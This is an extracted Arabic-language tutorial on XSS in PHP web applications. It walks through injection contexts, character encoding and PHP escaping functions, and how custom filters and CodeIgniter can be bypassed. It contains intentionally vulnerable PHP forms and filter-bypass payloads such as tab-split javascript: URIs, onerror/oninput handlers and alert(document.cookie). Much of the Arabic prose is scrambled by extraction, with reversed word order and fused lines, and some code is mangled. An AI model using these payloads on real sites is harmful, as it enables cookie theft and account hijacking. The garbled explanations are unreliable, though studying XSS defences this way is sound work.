h4cksc4n.files.wordpress.com€¦ · web view · 2016-12-04var valid = username.match(/^[a-za...
Post on 14-Apr-2018
219 Views
Preview:
TRANSCRIPT
ibute
XSS Vulnerable In web appliaction
وبركاته الله ورحمة عليكم السالمثغرات اكتشاف اطار في مهمة مواضيع عدة سنذكر المقال هذا حيث xssفي
التالي الرابط على متوفر تجدونه التي السابق الجزء تكملة الرابطيعتبرللغة التالي في المشتركة االمنية الدوال على الجلسة هذة في سنتعرف ،
الويب ) خيارات( Php built-in functionsتطوير من قائمة ونستعرضالويب ثغرات من للحماية الويب مطوري .XSSيستخدمها
وحسب المتطلب حسب االنسب الخيار على دائما االختيار يقع التطوير اثناءللغة للتعلم الكافيء الوقت البعض يملك الوقت ناحية فمن ، الخدمة تكاليف
المهام نفس للعمل جاهزة مشاريع اختيار يتم المادية الناحية ومن ، البرمجةمتكاملة تطوير بئيات فهناك ، للغة framework Phpالوظيفية ف ،Php
)Personal Home Page ( استخدامها اجل من أساسا صممت شعبية االكثرحوالي تقريبا يستخدمها ، الويب تطبيقات وبرمجة 80ونحو% %81.7لتطوير
ثغرات لديها الويب تطبيقات XSS Phpمن
ثغرات الثاني – XSS إكتشاف الجزء
المحتويات :
المتكاملة ) .1 التطوير ( FrameWork Php بئيات
2.Html Context
3.URL Context
4.Attribute Context
5.Script Context
6.Style Context
7.Web Escaping and Encoding
االنترنت .8 شبكة في مفاهيم
ثغرات .9 XSS منع
في .10 مشتركة برمجية Php دوال
ثغرات .11 من للحماية مخصصة XSS حلول
12.FrameWork code Igniters
الخاتمة .13
المتكاملة ) التطوير (FrameWork Phpبئيات
المتكاملة التطوير بيئات مع أسهل من Frameworkالحياه العديد يجمع الذيمهامة اداء المطور على تسهل التي والنماذج البرمجية والحلول الوظائف
التطوير بئيات من مجموعة تلخيص ويمكن اداء وافضل النتائج بأفضلثغرات من الويب تطبيقات للحماية يلي :-XSSالمستخدمة كما
codeIgniter الويب تطبيقات الف بل مئات من أكثر يستخدمه الذيhtmLawed بموديل على Drupal الموجود تحميل نسبة بأكثر
GitHubHTML Purifier تسمى اخرى عمل بئية مع Yii المتضمن
Nette من عمل فريق قبل من المقدم العادية تطبيقات في المستخدمالتشيك جمهورية
بئيةPHP Input Filter من اكثر على يحتوى phpملف 1500الذيGitHubعلى
PEAR's HTML Safe وCakePHP بنحو ملف 20المستخدم الفمشاريع GitHubبضمن
Laravel PHP framework عام في عمل بئية كأفضل 2013الرابح .....إلخ
موقع على ومتوجده متؤفره الحلول االنظمة Repository GitHubكل وكل ، إحترافية ويب تطبيقات للبناء الويب مطوري لدى كبير دور تلعب السابقة
التطوير زمن من تخفض بأخر او بشكل التي جاهزة كائنات على بإاالعتمادواحدة بتعليمة كتابة ممكن صفحات باربع المكتؤب فالتطبيق
ان و codeIgniterيبدو االشهر مميزات هو ضمن هي codeIgniterمنالتطوير نماذج بناء و اإلدخال من الختيار Inernationalizingو MVCالتحقق
هنا يهمنا ،وما الميزات من والكثير عربي فرنسي انجليزي سواء العرض للغةكما الويب ثغرات من البيانات لحماية االمنية الكالسات أو الموديالت نعرف ان
كالس مع السابق الجزء في code Igniters CI_Securityشاهدنا
والتعرف" العمل بئيات لمختلف التجاوز تقنيات نهج الجزء هذا في نستعرضحماية اآلليات هذه لتجاوز الهجوم معامالت تجاوز. XSSعلى لنا XSSليتبين
التي القضايا من غيرها عن تقرير وتقديم والقديمة الحديثة المتصفحات في . مطوري اعترف وقد هذه الحماية آليات في ,CodeIgniter وجدت
htmLawed, HTML Purifier ,Nette هذة تنفيذ وتم إليها توصل التي النتائجلتضمين العمل أطر في " CodeIgniter, htmLawed , Netteالمقترحات
Html Context
بعض سنقدم المقال هذا وفي السابق الجزء في السياق على تعرفنا لقدثغرات بضمنها تحتوي التي XSSاألمثلة
Html Context تأجات بضمن المستخدم مدخل المثال htmlيكون سبيل علىتأج > < bodyفي
<body><?php echo filter_function($_POST['input']);?></body>
شرح الى يحتاج وال بسيط المثال
<!DOCTYPE html><html><head><style type="text/css"><!--body , p {color: #FFFFFF;}body {background-color: #000000;}--></style><title>Simple XSS vulnerability</title><body><form action="XSS.php" method="post"><div align="center"><p> Simple Xss in HTML Context </p><strong>Search:</strong><input name="Vulnerability" type="text" id="Vulnerability" /></td>
<input name="submit" type="submit" value=" Search it !" /></div></form></body></html>
Xss.php
<?phpif(isset($_POST['Vulnerability'])){ echo " Search result : { htmlentities($_POST['Vulnerability'])} <br />" ; } ?>
الفتلره دالة احدى htmlentitiesبإزالة ادخال عند اسكربت الجافا كود ينفذالتالية االكواد
>scritp<alert)1(>/script<
هذا حتى أو"<>script<alert)1(>/script<
URL Context
<a href='<?php echo filter_function($_POST['input']);?> '>URL Context </a>
بثغرة مصاب التالي الكود اخر سياق XSSبشكل URL Contextفي
<html><head><style>body { padding-top: 40px; padding-bottom: 40px; background-color: #eee;}</style><!-- Latest compiled and minified CSS --><link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<!-- jQuery library --><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<!-- Latest compiled JavaScript --><script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head><body>
<form class="form-horizontal" ><!-- Button trigger modal --><button type="button" class="btn btn-primary btn-lg" data-toggle="modal" data-target="#myModal"> Add Link</button>
<a href="<?php if(isset($_POST['URL']) { print $_POST['URL']; }?> "> <img src="http://us.123rf.com/450wm/alexwhite/alexwhite1502/alexwhite150202021/36558781-link-icon-chain-sign.jpg" alt="..." class="img-rounded" /></a>
<!-- Modal --><div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
<h4 class="modal-title" id="myModalLabel">Modal Link </h4> </div> <div class="modal-body"> <div class="form-group"> <label class="control-label col-sm-2" >Name:</label> <div class="col-sm-10"> <input type="Text" class="form-control" id="name" placeholder="Enter Name"> </div> </div> <div class="form-group"> <label class="control-label col-sm-2" >URL:</label> <div class="col-sm-10"> <input type="Text" class="form-control" id="URL" placeholder="Enter URL"> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> <input type="submit" class="btn btn-primary" /> </div> </div> </div></div></body></html>
في إلى Formيضمن العنوان ورابط أسم المستخدم مدخالت الخارجيعنوان تعرض التي جافا urlالصفحة كود اضافة تجرب وعند للعملية كمدخل
على نحصل المدخل في أو العنوان شريط في ويمكنك)( alertاسكربتبالنسبة صعبا شيء يعد فلم الفتلره دوال في الهجوم معامالت كافة تجريب
لديك Attribute Context
لخاصية كأسم اسكربت الجافا كود تحقن الهجوم معامالت الشيء نفسبإستخدام URI JAVASCRIPTبطريقة للخاصية جديدة وقيمة كأسم أوeventHandlerاالحداث
<div class='<?php echo filter_function($_POST['input']);?>' > attribute Context </div>
<div class="javascript:alert(1)" > Value attribute Context</div>
<div class="" onerror=alert(1) > Name attribute Context </div>
Script Context
على اسكربت الجافا كود يحقن ان يمكن االسكربت سياق في الشيء نفسالشكل بهذا نفسها المتغيرات
<script>var a='<?php echo filter_function($_POST['input']);?>';</script>
الهجوم Xss Script Contextمعامالت
";confirm(1);"';confirm(1);'</script><script>confirm(1);</script>
: بيانات تمرر طريقة أوال لنفهم المثال سبيل formإلى formمن hiddenعلىاخرى
<form action="someform.php" method="post"> Name: <input type="text" name="Name" value="Jim" /><br /> Password: <input type="password" name="Password" /><br /> Age: <input type="text" name="Age" /><br /> <input type="submit" /> </form>
<input type="hidden" name="Name" value="<?php print $_GET['Name']; ?>" /><input type="hidden" name="Password" value="<?php print $_GET['Password'];?>" />
مدخالت بيانات تطبيق Formمن hiddenترسل إلى يصل ان إلى أخر الىبيانات إرسال وعملية البيانات يعالج بدوره الذي السيرفر تكون hiddenجههالحقول وتعديل البيانات اعتراض يستطيع هكر اي الن خطرة
بيانات إلرسال األخرى استخدام Formالطريقة طريق بحيث jqueryعنالفورم بيانات السيرفر hiddenتمرير جهه كود ticTacToe.phpالى
<!DOCTYPE html><html> <head> <title>Game Site :: Tic Tac Toe</title> <script src="jquery-2.1.4.min.js"></script> </head> <body>
<h2>Tic Tac Toe</h2>
<a href="javascript:void 0;" onclick="startGame();">Start a Game</a><br /><br /><a href="javascript:void 0;" onclick="joinGame(1);">User: Usamnet</a>
<script type="text/javascript" language="javascript"> var startGame, joinGame;
$(document).ready(function() { var url = "/ticTacToe.php";
startGame = function() { var username = prompt('Enter a username to start a game.', '');
//if(username != null && username.trim().length > 0&& validateUsername(username)) post({action: 'start', username: username}); };
joinGame = function(gameId) { var username = prompt('Enter a username to join this game.', '');//if(username != null && username.trim().length > 0 && validateUsername(username))
post({action: 'join', username: username, gameId: gameId}); };
var validateUsername = function(username) { var valid = username.match(/^[a-zA-Z0-9_]+$/) != null; if(!valid) alert('User names can only contain letters, numbers ' +'and underscores.'); return valid; };
var post = function(fields) { var form = $('<form id="mapForm" method="post"></form>') .attr({ action: url, style: 'display: none;' }); for(var key in fields) { if(fields.hasOwnProperty(key)) form.append($('<input type="hidden">').attr({ name: key, value: fields[key] })); } $('body').append(form); form.submit(); }; }); </script> </body></html>
نوع من الكود في ثغرة أسم script Contextيوجد المستخدم يدخل عندما ، Player ثغرة يسبب قد الذي اسكربت جافا متغير إلى XSSيضاف ايضا ،
ال بارميترات كاحدى المتغير هذا السيرفر Formيرسل جهه في
<?php print "Your name: {$_POST['username']}<br />"; print "Your password: {$_GET['action']}<br />"; print "Your age: {$_GET['gameId']}<br /><br />";?>
استخدام دون من السابق الكود تنفيذ التي ()validateUsernameجربان يمكن ايضا ، العميل جهه في المستخدم اسم مدخل صيغة من تتحققتجاهل يمكن انة بينهما والفرق السيرفر جهه في تحقق على التطبيق يحتوي
المتصفح . على اسكربت الجافا أكواد تفعيل بعدم العميل جهه في التحققStyle Context
<div style='<?php echo filter_function($_POST['input']);?>' > CSS Context </div>
Web Escaping and Encoding
لعمل طريقة الف احتماالت encodingهناك فمثال الفلترات بعض للتجاوزالصورة< scritpتشفير > على
هناك التطبيق في ان نعرف ان علينا الذي المهم الشيء قد decoderلكن أوهناك يكون إلنهاء "; decoderال عالمة استخدام يجب الحالتين كال وفي ،
عمل يمكن ثم اسكربت encodingالسياق الجافا كود يحقن لن وإال شيء اليالعمل هذا يوضح المثال وهذاhttp://jsfiddle.net/4eqK4/2/
http://jsfiddle.net/TM679/5/
اإل اسكربت الجافا كود ينفذ لم كيف رينا االول المثال في عنة نتحدث ما هذابكتابة "; "; سطر كل تعديل الثاني المثال وفي ، واضح بشكل السياق بإنهاء
عمل ثم من المقدمة شيء encodingفي ألياالنترنت شبكة في مفاهيم
الكمبيوتر الحاسوب جهاز في المستخدم الترميز من الله شاء ان هنا سنبدأUnicode ترميز هو نراها Unicodeفما والتي الحواسيب في المستخدم
البرمجة وللغات الويب وتطبيقات المحررات مختلف في يومي بشكلUnicode في والمراجع واألرقام األحرف لترميز الترميز أنواع من نوع هو
ترميزات هناك ان نعلم نحن ، ascii codeيسمى character setالحاسوبجميع في هناك ان نعلم ايضا ، الحاسوب في والرموز واألرقام األحرف لترميز
الحاسوب إلى مضافه تكون اللغات هذة ، اللغات من الكثير يوجد العالم انحاءما ايضا هناك ، وارقامها ورموزها بإحرفها الحاسب لتعريف بياناتها لتعريف
ك السيطرة باحرف االحرف tab, newline, carring returnيعرف من وغيرها دائما بالتحديد الثالثة االحرف لكن العملية مدخل على السيطرة هدفها
اكواد في الترميزات xmlو htmlتستخدم استخدام الحمايات به قامت فما ، encoding hex ، encoding decimal وenitity html الويب صفحات في
حرف لكل فأن الترميز إلية نفهم جدول Unicodeولكي في يقابله asciiماcode وNonascii code ترميز بوضع تتفق معيارية للجنة هناك حيث ،
مثل المستخدم والمعيار والصيغه اللغة بحسب اللغات جميع في -utfلالحرف8 ،Utf-16 ، Utf-32 وANSI ... معيار يستخدم المثال سبيل على ، utf-8وغيرها
يحتوي ، واحد ترميز جدول في اللغات لمختلف االحرف علىUTFللتوحيدعلى يقل وال بايت أربعة على يزيد ال بحيث الواحد الحرف لتمثيل بايت أربعة
ترميز في بايت االربعة لكل الجدول وهنا ، واحد utf8بايت
Numberof
bytes
Bits forcode point
Firstcode point
Lastcode point Byte 1 Byte 2 Byte 3 Byte
4
1 7 U+0000 U+007F 0xxxxxxx
2 11 U+0080 U+07FF 110xxxxx 10xxxxxx
3 16 U+0800 U+FFFF 1110xxxx 10xxxxxx 10xxxxxx
4 21 U+10000 U+10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
الترميز utf-8جدول
بعض توضع ، رقم أو رمز أو محرف لكل البايت عدد الجدول في نرى كماجدول وهو االول البايت في من ascii codeاالحرف قيم 255الممثل و حرف
Non ascii االكثر للوضع المدى يتفاوت الحقيقة في ، اعلى قيم في توضعبياتات عدد في بكثرة مستخدمة الغير القيم بينما صغرى قيم في أهمية
كاثنين يمثل دائما ، بايت عدة من ممثل كود يوني حرف ولكل أيضا ، اعلىيستخدم وهنا الويب، تطبيقات في معيار لكل موحدة كصيغة بت وعشرون
مع UTF-8معيار القيم بيانات Unicodeللتناسب على االطالع يمكن ، Unicode الرابط في حرف لكل
https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references
إلى كود اليوني حرف للتحويل مثال سنذكر التالي ليتبن encoding Hexفيالويب صفحات في االحرف تمثيل لنا
اليورو : عملة حرف , €Euro sign مثال
الجدول في U+20ACيمثل
حرف - تحويل اردنا نقوم "€" اذا ، العشري أو عشر السادس الترميز إلىبين ما محصور العدد ان نجد الجدول على U+0800 and باالطالع
U+FFFF له لعمل بايت ثالثة على يحتوي الرمز هذا ان encodingبمعنيالهكس - الثنائي 20ACقيمة في لها 1100 1010 0010 0000المقابل
في كما هذا معني الصفر الى تقود االمام في التي االصفار االثنينمن بداية الرقم نتقدم فاننا بايت (...1110)الجدول اربعة اول ليصبح
code point الرقم يليها (1110 0010)ثماالن - لنا نتقدم bit code point-12يتبقى الشيء كود 10نفس لليوني
الشكل بهذا مخزن يليها (0010 1000لتصبح (1100 1010)ثم
بايت - الثالثة 1110 0010بهذة 1000 0010 اتمننا 1100 1010 قد نكونعشر السادس ترميز في لها المقابل E2 82 AC العملية
االخرى االمثلة بعض وهنا
Character Binary code point Binary UTF-8 Hexadecimal UTF-8
$ U+0024 010 0100 00100100 24
¢ U+00A2 000 1010 0010 11000010 10100010 C2 A2
€ U+20AC 0010 0000 1010 110011100010 10000010 1
0101100E2 82 AC
𐍈 U+103480 0001 0000 0011 0100
1000
11110000 10010000 1
0001101 10001000
F0 90 8D 8
8
صفحات في والترميز المحتوى نوع تعريف سياق في اخرى , htmlمفاهيمxml
صفحات في الترميز نستخدم character setأو xmlلتعريف <?xml version="1.0" encoding="UTF-8"?>
لغة لكل Phpفي الترميز ب headerيوضع الصفحة في مرسل header('Content-Type: text/html; charset=utf-8');
صفحات تعريف تأج htmlفي بضمن الترميز metaيستخدم
<meta http-equiv="Content-Type" content="text/html;
charset=utf-8">
للبيانات الترميز تعريف يمكن formأو
<form accept-charset="utf-8">
هو accept-charsetالمتغير دائما االفتراضي ، الترميز معيار -ISOيعرف8859-1 (or Latin 1) ( ملف في استخدم ( server.iniأو المثال في utf-8كما
إلى للتحويل اسهل فهو المعايير كل في االحرف Unicodeللتمثيل وايضافي ويمكن ، اللغات جميع على محتوى Formيتعرف نوع تعريف ايضا
Enctype هو دائما االفتراضيء ، application/x-www-form-urlencoded، عالمة والقيمة المتغير اسم بين يفصل المعلومات العميل أرسال عند بمعني
عنوان& في المعلومات جميع استخدم URL Encodingوترسل إذا ويفضل ، المعيار هناك character setاحدى يكون ان التطبيق URL Decodingفي
محتويات لفك السيرفر جهه في المثال Formواضح سبيل على<form action="yourProcessPage.php" method="POST" accept-charset="utf-8"><input name="string" value="string" />...</form>
yourProcessPage.php
$string = $_POST['string'];$string = mb_convert_encoding($string, "CP1251", "UTF-8");
الترميز المهاجم تجاوز حال في الخطر يكمن URL Encodingولكنالتي اللغة او الصنية او اليابانية مثل اخرى للغة واحرف رموز بإستخدام
هكذا المدخل ترك الخطر من فسيكون ، التطبيق عليها يتعرف
<?php$_POST['fname'] ="<script>alert(1);</script>";echo $_POST['fname'];
echo utf8_decode($_POST['fname']);echo rawurlencode(utf8_decode($_POST['fname']));?>
ال محتوى المتغير Formنوع الخيارات Enctypeفي احد ك يحدد ان يمكنالتالية :
Value Description
application/x-www-form-urlencoded
Default. All characters are encoded before sent (spaces are converted to "+" symbols, and special characters are converted to ASCII HEX values)
multipart/form-data is a content type created to be able to send binary data in forms, such as binary files. The content type is described in RFC 2046 , and No characters are encoded. This value is required when you are using forms that have a file upload control
text/plain is introduced by HTML 5 and is useful only for debugging, ,Spaces are converted to "+" symbols, but no special characters are encoded
جدول يسمى االلي للحاسب ترميز بإبتكرار العلماء وجد code asciiقام الذياالكترونية واالجهزة الهاتف الجهزة بالنسبة وكذلك القيم محصور جدول انة
لترميز تستخدم معايير عدة يوجد لذلك ، Nonasciiو ascii codeاالخرىcode ما والى والعربية واالنجليزية االلتنية االحرف مثل اللغات جميع لضم
عام في بالتحديد الكمبيوتر صناعة بداية ومنذ ، ذلك الترميز 1992الى اصبحUnicode االقل على حرف لكل يشمل فهو ، االوحد المعياري الترميز 21هو
القيمة نوع تخصص البرمجة في نعلم ونحن ، إي char 1بت لذا 8بايت بتصيغة الى الحرف بتحول الترميز جدول مع يتناسب ان المترجم على ينبغي
unicode سبيل على الحاسوب، في المستخدمة المعايير لجميع الموحدةتحديد في صيغة utf-8المثال للتوحيد مالئمة لتكون البايتات جميع تضم
unicode فيما وهكذا البيانات فهم الحاسب يستطيع حتى المطلوب بالشكلال لجميع المختلفة المعايير Nonascii codeو ascii codeبين
عمود في مقابل له الترميز جدول في حرف لكل ان المعلوم من HexايضاEncoding وdecimal Encoding وHTML5 enitity Encoding
جدول في كود اليوني فإحرف ، معيار كل مع القيم قيمها utf-8تختلف تختلفمعيار utf-32عن فمثال ألخر معيار من للتحويل المطور يحتاج قد الغالب في ، االصلية utf-8 encodingيستخدم لقيمها وارجعها البيانات -Utfلتشفير
8_decoding.
باستخدم الويب تطبيقات في البيانات ترميز باالمكان character setهكذاعلى أو الصفحة برمجية formفي دوال استخدام عبر البيانات تلك تمرر أو
االفتراضي )utf8_encode )( , utf8_decode )كالـ من الماره البيانات لتحويلISO-8859-1 string إلىutf-8 من .ISO-8859-1إلى utf-8أو
الوظائف من العديد يوجد كالداله phpايضا المعياير مختلف بين لتحويلmb_convert_encoding)(
للصفحات الرجوع عن phpيمكن فكرة واخذ الدوال بعض لمراجعه ،، الموضوع
بيانات URL Encodingترميز ارسال للعملية استخدم formالمخصص أذا ، تضمين هنالك يكون ان ينبغي المعيار ، Url Decoderاحدى السيرفر جهة في
بيانات بإرسال قمنا اذا URL Encodingفمثال
<?phpecho '<a href="mycgi.php?foo=', urlencode($userinput), '">';?>
الشكل بهذا السيرفر جانب في البيانات نستلم سوف<?php
$_POST["Foo"] = "one%20%26%20two";$a = urldecode($_POST["Foo"); // -> "one & two"
?>
دالة طريق عن الترميز فك ويتم الترميز على البيانات ،)( urldecodeتحتوياستعمل غالبا التطوير بإستخدام AJAXواثناء العميل جهه من طلب لطلب
االستعالم & get or postطريقة قيم لفصل عالمة مع بيانات على تحتوي التيالبيانات تشفير طريقة وتكون ،encodeURIComponent)( بلغةjavascript السيرفر جهه تطبيق إلى دالة Phpلتمرر )( urldecodeفي
كائنات للفحص وظائف استخدم فقد االختيار يتم الطلب حسب في htmlعلىوالمطابقة للفحص السيرفر جهه إلى تمرر ويمكن المستخدم مدخالت
أو عشر السادس كالترميز االستبدال أو واالرقام والكبيرة الصغيرة لالحروفالتطبيق يظهر ان تريد كما شيء أي
<?php$query_string = 'foo=' . urlencode($foo) . '&bar=' . urlencode($bar);echo '<a href="mycgi.php?' . htmlentities($query_string) . '">';
function utf8_urldecode($str) { $str = preg_replace("/%([0-9a-f]{3,4})/i","&#x\\1;", urldecode($str)); return html_entity_decode($str,null,'UTF-8');; }?>
ثغرات htmlenitiesدالة من التطبيق لها XSSلحماية النظيرة والدالةhtml_enity_decode االمثلة بعض ذكر على سناتي االصلية البيانات إلرجاع
المعايير هنا نعرف ان المهم ، لذلك تقلق فال بعد فيما الدوال هذة علىالرابط هذا وكمرجع للحاسوب العالمية المقاييس في المستخدم الموحدة
: الحاسب اجهزة في واالستخدامات الصيغ جميع يلخص ان يمكنhttp://www.w3schools.com/charsets/default.asp
ثغرات XSSمنع
المدخالت - من التحقق-Escaping / Encoding النصوص للمدخالت-Whitelist / Blacklist المشتركه - البرمجية الدوالالمخصصة - الحلولحقول - عدة مع الكوكيز استخدامالمتكاملة - التطوير بئيات استخداماالسكربت - تفعيل عدم
في المشتركة البرمجية :Phpالدوال
trim)(
المسافات ) بحذف الدالة هذة ,space , tab, newline, carring returnتقومnull byte and vertical tab : )المثال سبيل على النصوص ونهاية بداية من
<?php // trim the ASCII control characters at the beginning and end of $string = "\t\tThese are a few words :) ... \n";print $string;?>
Strip_tags)(
تاجات بحذف الدالة عملية htmlتقوم في الثاني البارميتر تاجات عاد ما ، الحذف
<?php$text = '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';echo strip_tags($text);echo "\n";
// Allow <p> and <a>echo strip_tags($text, '<p><a>');?>
المتصفح : إلى العملية مخرجاتTest paragraph. Other text<p>Test paragraph.</p> <a href="#fragment">Other text</a>
Htmlenitities)(
مثل " ، ثغرة خالها من يحدث ان يمكن التي االحرف جميع بحذف الدالة تقومإلى > يصبح > &html enitity encodingو المثال سبيل نفس; ltعلى و ،
الدالة الخاصة )htmlspecialchars)$query_stringالعمل الخمسة لالحرف انها اال
<!DOCTYPE html><html><body>
<?php$str = 'Un \'apostrophe\' en <strong>gras</strong>';
// Affiche : Un 'apostrophe' en <strong>gras</strong>echo htmlentities($str);
// Affiche : Un 'apostrophe' en <strong>gras</strong>echo htmlentities($str, ENT_QUOTES);
?>
<p>we don't allow <b> tags to be used.</p>
</body></html>
مستلمة بيانات إلعادة اإلستعالم في المدخل النصوص بيانات بتحويل تقومString شكل كنصوص html enitity encodingعلى تعرض النصوص فكلString ، نصوص يعتبرها بل التأجات المتصفح يترجم وال المتصفح على
المخرجات :Un 'apostrophe' en <strong>gras</strong>Un 'apostrophe' en <strong>gras</strong>
we don't allow <b> tags to be used.
htmlspecialchars)$query_string( إلستالم االستعالم نصوص بيانات بتحويل تقومشكل على على html enitityبيانات مطبقة السابقة الدالة ان االختالف لكن
تأجات خاصة htmlكل رموز تستخدم الطريقة هذة بينما التأج مراجع ولكلتأجات على ;apos& وهم : htmlللتعرف , " , & , < , and >
حماية Htmlenititiesتجاوز
حماية عالمة Htmlenititiesلتجاوز تمقدمه طريق عن االحداث نستخدماسكربت الجافا كود وحقن السياق إلنهاء الفردية االقتباس
<?php$_GET['a'] = "#000' onload='alert(document.cookie)";?>
XSS possible (insecure):
<?php$href = htmlEntities($_GET['a']);print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000' onload='alert(document.cookie)'>?>
الخيار بوضع نقوم التطبيق االقتباس ENT_QUOTESولحماية عالمة لترميزالفردية
<?php$href = htmlEntities($_GET['a'], ENT_QUOTES);print "<body bgcolor='$href'>"; # results in: <body
bgcolor='#000' onload='alert(document.cookie)'>?>
سياق في االدخال كان اذا خصوصا الكفاية فيه بما أمن ليس التطبيق هذا مع)URL Context )hrefالروابط
<?php$_GET['a'] = 'javascript:alert(document.cookie)';$href = htmlEntities($_GET['a'], ENT_QUOTES);print "<a href='$href'>link</a>"; # results in: <a href='javascript:alert(document.cookie)'>link</a>?>
Stripslashes)(
إلى )\( )\\( )\( ايضا تحول وهي النصوص من سالش الباك تحذف الدالةواحدة
الدالة الى نحتاج البيانات قواعد في عالمة )addslashes)stringاحيانا إلضافةاالستعالم \ ) ( مالئم ليكون مزدوجة أو فردية االقتباس عالمات كل مع السالشعلى اليدوية الطريقة نستخدم الدالة هذة تضمن لم واذا البيانات للقواعد
المثال سبيلlocation.href="next_page.php?name=O%27Riley"; // $_GET['name'] == O\'Riley
في \\ لتخزن للقيمة نضمن ان يجب النصوص بهذا البيانات تعرض ان اردت اذايمكن المشكلة هذة للحل ولذلك الرابط في كما تخزن انها أو البيانات قاعدة
الدوال احدى أو)( addslashesتطبيقMysqli_real_escape_string )(تحتوي التي البيانات لتجأهل تتمد التي
على التالية : backslashesالنصوص التعليمة في كماINSERT INTOlastnames(lastname) VALUES ('O\\\'Riley')
كالنصوص للتخزين قابلة لتجعلها الدالة o\' Rileyوهذا النظير وعلى ، stripslashes \ \\ المحتوى كل في فردية ، كل للحذف
التجاوز لتقنية سالش الباك بعض إلضافة الحماية تجاوز سنراها XSSهناك كماالله . شاء ان الحقامشتركة حلول
الترتيب بهذا البرمجية الدوال تستخدم التي ملفات على السريع البحث عندالبرمجية المشاريع ادارة موقع Githubفي
التالية النتائج على نحصل
الثانية : الصيغة
شعبية الصيغة هذة مازالتالثالثة : الصيغة
المشاريع في الشعبية الصيغ من العديد وهناك ، مشتركة الصيغة هذة مازالت) مجرب ) الصيغ هذة للتجاوز ملخص وهنا البرمجية
المشارة المشتركة الدوال من العديد نتجاوز ان يمكن الحقول أغلب فياستعمال عن الصيغة بتجاوز قام الباحث ان تعني صح فكل ، صح بعالمة
سياق في مفيده تكون قد انها شك وال ، الهجوم تفيد HTMLمعامالت ال لكناالخرى السياقات مع استعمالها عند
ثغرات من لحماية مخصصة XSSحلول
ثغرات من لحماية المطورين قبل من على XSSتستخدم ويستخدمها ، GitHub
كود السورس نستكشف االن
المصفوفة في المحجوزة الكلمات عن تبحث فهي ، مصفوفتين تحمل انها نجدفأذا تقريبا األحداث كل الثانية المصفوفة في ، الثانية والمصفوفة االولى
قائمة في القيم احدى على المدخالت احدى في تظهر Black-listوجدتتجاوز طرق ولذلك المصفوفتين بضمن مدخل لوجود للمطور تحذيرية رساله
الثانية المصفوفة في موجود غير االحداث احدى فهناك الموجود غير بأستخدامoninputوهو
>input type=text oninput=alert)1(<
الفرغات بعض بإستخدام هي الثانية في TABالطريقة جديد URIوسطرJAVASCRIPT الشكل بهذا
>form action=ja	vasc
ript:alert(1)<>button type=submit<
تجاوزنا نالحظ المحجوزة black-listوكما المصفوفة javascriptللكلمة فيللتشفير الطرق من العديد وهناك ايضا javascriptكلمة encodingاالولى ،
االحداث استخدام يمكن الداله سياق onpopstate , onstorageللتجازو فيAttribute ف وايضا ،style context نضمن ان كتعليق expressionنستطيع
الحماية للتجاوز في ))width:ex/**/pression)alert)1بضمنها الشيء ونفسURL Context
ja	vasc
ript:alert(1)
مع المصفوفة script Contextوايضا تجاوز يمكن';confirm)1(;'
';confirm)1(;'
مكتشف وحصل ياهو موقع في ثغرة حصول على ساعد بالتحديد الكود وهذاعلي $ 1000الثغره
الثانية : الدالة
يستخدمها التي
الداله إلى وبالنظر
تأج > كل حذف على تعمل انها على< scriptنجد تعمل الثاني السطر وفيتأج كل تأج >htmlحذف كل على الثالث السطر من< styleوعلى والتعليقسطور . عدة
بسهولة تجاوزها يمكن كيف نرى ان يمكن االنHtml Context
في نرى الننا االخرى الجهه في مفتوح بشكل فقط التأج نضع سياق فيتأج >< كل تلتقط الدالة الثاني السطر
<img src=x id=confirm(1) onerror=eval(id)
<iframe/src=javascript:confirm%281%29
محتمل شيء فكل مكرر الكالم نقول ان يمكن ال االخرى سياقات وفيالسابقة الطرق في كما التجاوز
الثالثة : الدالة
على يحتوي كود أي حذف على تعمل الدالة أي Urlهذة لحذف االخر وللفلتره )( الصيغة هذة العموم على ، أقواس تتضمن Style Contextمدخالت
التالية : الصيغ في اسكربت جافا كود على المدخل يحتوي ان يمكن حيث
الرابع و الثالث المعامل في الهجوم لمعامالت تحديثا ، للتجاوزها لذلك Width:expression(alert(1))
الرابعة : الدالة
ثغرات من للحماية الحلول من حل هذا المخصصة XSSايضاالمطورين يستخدمها سيمفني موقع على وبناءا
؟ تعمل كيف
بال يبدا حدث أي إيجاد االول السطر الثاني xmlnsأو Onفي السطر في ، اسكربت بي في أو اسكربت جيف أو اسكربت جافا على تحتوي نصوص أي
التنسيق نصوص للفحص الثالث السطر وفي ، السطر styleوهكذا وفيمثل التاجات من العديد يمنع إلخ ... embed , objectاالخير
من scriptولتجاوز العديد سندرج االول السطر tabفي
>form/ action=ja	vascr	ipt:confirm)document.cookie(<
>button/type=submit <
mathايضا وايضا الرابع السطر على القائمة في موجودة xlink:hrefغير
>math>a/xlink:href=javascript:confirm(1)<click
للغاية سهل االخرى السياقات لكل والتجاوزالمخصصة األمنية الحلول لتتجاوز اإلمكانات جميع يلخص التالي والجدول
وتعني تجاوزها ممكن المخصصة البرمجية الحلول غير Naجميع الوظيفة هذةدالة فمثال السياق لهذا للسياق)( sanitizeCssمخصصة فقط Styleتسخدم
سبق فيما تجاوزها تم وقد
FrameWork code Igniters
مشروع أكثر يعتبر ، التطبيقات من العديد في مستخدم شعبي كود هوعلى مشروع GitHubمشاهدة إلي يمكن ما أعلى فيه التفرعات عدد ونسبة ،
PHP . تستخدم الويب للمواقع وبالنسبة وقت كل بحوالي CodeIgniterفيالعمل 264038 لبئية تجاوز حدث فإذا سيكون code Ignitersتطبيق فأنتطبيق 264038مصأب
المنتظم التعبير هذا تضمن الحقيقة في
للتأج المنتظم التعبير نرى ، aكما Img أي بالتقاط البداية في يقوم حيثعالمة < : بين ما اضافة أي يلتقط أو السياق إلغالق عالمة أو ارقام أو احرف
